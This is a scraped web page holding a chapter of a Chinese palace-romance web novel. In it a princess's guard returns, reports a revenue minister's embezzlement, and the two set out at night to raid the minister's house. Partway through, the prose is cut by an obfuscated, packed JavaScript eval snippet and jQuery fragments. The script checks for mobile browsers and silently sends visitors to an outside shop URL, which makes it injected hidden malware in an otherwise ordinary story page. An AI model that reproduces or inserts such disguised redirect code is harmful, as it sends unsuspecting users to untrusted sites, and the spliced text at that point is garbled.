22. 砚辞手握权柄,抄了
作品:《长公主不嫁了,暗卫夫君请入局》 夜色如墨,浓得化不开,长乐宫檐角的宫灯燃着昏黄光晕,在青石板地上投出斑驳光影,周遭静得只剩夜风拂过宫墙的轻响。
砚辞是在第三天深夜赶回长乐宫的,玄色劲装沾了些许风尘与不易察觉的血气。
连日奔波查探户部尚书罪证,他眼底染着浓重的疲惫,下颌线条绷得紧实,周身还带着深夜的寒凉。
宫门前值守的侍卫见是他,连忙躬身行礼,不敢有半分阻拦。
他脚步轻缓,几乎不带声响地踏入殿中,生怕惊扰了殿内安睡的人。
刚踏入外殿,便瞥见偏厅还亮着一盏微光,两道压低的声音隐约传来。
其中一道是陌生的嬷嬷声音,另一道与伺候姜悦璃起居的小宫女青禾的声音。
砚辞脚步顿住,并未上前,只立在廊柱阴影里,周身气息敛得极淡,如同融入夜色的暗影。
“嬷嬷,殿下这几日起居都还算安稳,只是前两日夜里睡得不安稳,晨起有些倦怠,”青禾的声音细细小小的,“奴婢看着,殿下这月信也快近了,您看……”
王嬷嬷的声音沉稳:“我知晓,你且仔细记着,往后殿下的膳食、汤药,都需经我手,万万不能出半点差错。”
“若是殿下月信迟迟不来,咱们就得提前着手准备,更不能走漏半点风声,惹来闲言。”
“奴婢明白,定会牢牢盯着,绝不敢马虎。”
后面的话语,砚辞已然听不真切,只觉得浑身血液骤然凝固。
砚辞心底骤然一沉,瞬间洞悉了所有隐情。
殿下执意拒服避子药,从不是一时的心软恻隐,而是从一开始,便斩断了自己所有退路。
而此刻骤然出现的嬷嬷,让他瞬间警醒——这在规矩森严的皇宫里,本就是绝不被容许的忤逆之举。
眼前这人,怕就是宫里派来处理后续、遮掩事端的吧?
心头翻涌的惊怒与疼惜只一瞬便被他强行压下,万般情绪尽数敛于眼底,再无半分外露。
他缓缓褪去一身旅途风尘与周身凛冽戾气,放轻了脚步,循着殿内的方向,一步步缓缓向内殿走去。
内殿只点了两盏纱灯,光线柔和,姜悦璃正倚在软榻上,手里捧着一卷书,眉眼慵懒,许是等得久了,眼底带着几分浅浅的倦意。
听见脚步声,她抬眸望去,一眼便看到了立在殿门口的砚辞。
他依旧是一身玄衣,却少了几分凌厉,多了几分柔和,只是眼底的疲惫,藏都藏不住。
姜悦璃放下书卷,眉眼微扬,语气里带着不易察觉的欣喜与嗔怪:“总算知道回来了?”
砚辞快步上前,走到榻边,躬身行礼。
动作依旧恭谨,可声音里,却带着几分压抑的沙哑,还有藏不住的温柔:“臣,回来迟了,让殿下久等。”
他抬眸看向她,目光深邃,直直落在她脸上,将她的眉眼、神色,细细描摹,仿佛要把这三日的思念,尽数弥补。
那双素来冷寂的眼眸里,此刻盛满了温柔与心疼,还有一丝旁人看不懂的动容。
姜悦璃看着他眼底的疲惫,心头微软,抬手示意他靠近:“过来,查探的事可还顺利?”
砚辞依言上前,在榻边驻足,不敢逾矩,却又忍不住靠近几分,轻声回道:
“回殿下,户部尚书贪墨军饷、私通北蛮,不仅克扣粮款中饱私囊,更将霉变发臭的陈粮、掺满碎石子的劣粮充作军粮调拨,罪证臣已尽数掌握,只待时机成熟,便可呈给陛下,将其一网打尽。”
话音落下,他的目光不自觉地落在她的眉眼间,想起方才听到的话语,心头泛起细密的疼惜。
他的殿下,从来都活得坦荡通透,宁可自己承担所有风险,也不愿委屈分毫。
这般好的人,他拼尽性命,也要护她一世安稳,护她不受半点流言侵扰,更不会让她独自面对任何风雨。
姜悦璃闻言,神色骤然一敛,方才的慵懒尽数褪去,眼底只剩凌厉果决:
“来不及了,今夜便动手,直接带人抄了户部尚书府,扣押所有涉案之人,彻查府中赃款与往来密信。”
她站起身,快步走到案前,指尖叩着桌面,语气急切:
“前线战事吃紧,楚陌的大军粮草怕已告急,必须立刻调粮北运,再晚怕是要出大乱子。”
“可国库粮草调拨流程繁琐,层层审批耗时太久,若是正常途径走不通,便是明抢,也得把粮草送到前线。”
砚辞眸色一沉,当即上前一步:“殿下不必忧心,臣手中有太祖亲赐的令牌,可直接调动京郊粮仓与边关军粮,无需经过户部层
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477747|201580||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
层审批,调粮一事不难。”
姜悦璃猛地抬眸看向他,心底骤然一惊,暗自讶异:这人到底还有多少自己不知道的底牌?
从隐秘私卫到太祖令牌,他总能在关键时刻拿出意想不到的依仗。
她压下心底的惊诧,面上依旧镇定,挥袖道:“既如此,那便赶紧的,事不宜迟,今夜便把事情办妥。本宫与你一同前往,亲自坐镇,免得节外生枝。”
姜悦璃话音未落,起身攥住砚辞手腕,径直往外走。
她步履急切,满心都是前线粮草与户部贪墨之事,行事果决,全然忘了自己身着宽松寝衣。
砚辞猝不及防被她拉住,指尖触到她温热的手,身形微僵,满心的沉稳瞬间散了几分。
垂眸看着相扣的手,她的手小巧,与他带薄茧的微凉之手紧紧相贴,心头一暖,下意识反手握紧。
刚走两步,他骤然回神,轻拉住她,低声提醒:“殿下,您还穿着寝衣,深夜外出不便,也易受寒,换身衣物再走。”
姜悦璃脚步一顿,低头看向自身,才恍然察觉,当即步入内殿更衣。
不过片刻,她换了一身月白劲装,长发高束,褪去慵懒娇柔,尽显长公主的凌厉飒爽。
收拾妥当,她走到砚辞身边,干脆道:“走吧。”
说罢,再次拉住他的手,迈步向外。
两人刚至外殿,王嬷嬷快步上前,满脸担忧阻拦:“殿下,夜深露重,您身子孱弱,万万不可深夜外出!”
姜悦璃脚步未停:“守好长乐宫,本宫去办急事,速去速回。”
她牵着砚辞径直跨出殿门,没有丝毫停留。
闻声赶来的张嬷嬷匆匆行至廊下,只瞧见一身风尘、周身凌厉的砚辞,以及两人牵手离去的背影。
她愣在原地喃喃道:“砚辞大人回来了?殿下这是要去哪?”
不等她回过神,两人的身影已没入宫道阴影,脚步声渐远,最终消散在夜色里。
王嬷嬷走到张嬷嬷身旁,二人对视一眼,眼底尽是不解与担忧。
一个是太后派来照料公主的亲信,一个是伺候公主多年的老人,从未见过姜悦璃如此急切失态,深夜执意外出。
她们满心焦灼,却不敢违抗旨意,只能守在长乐宫,静候二人归来。

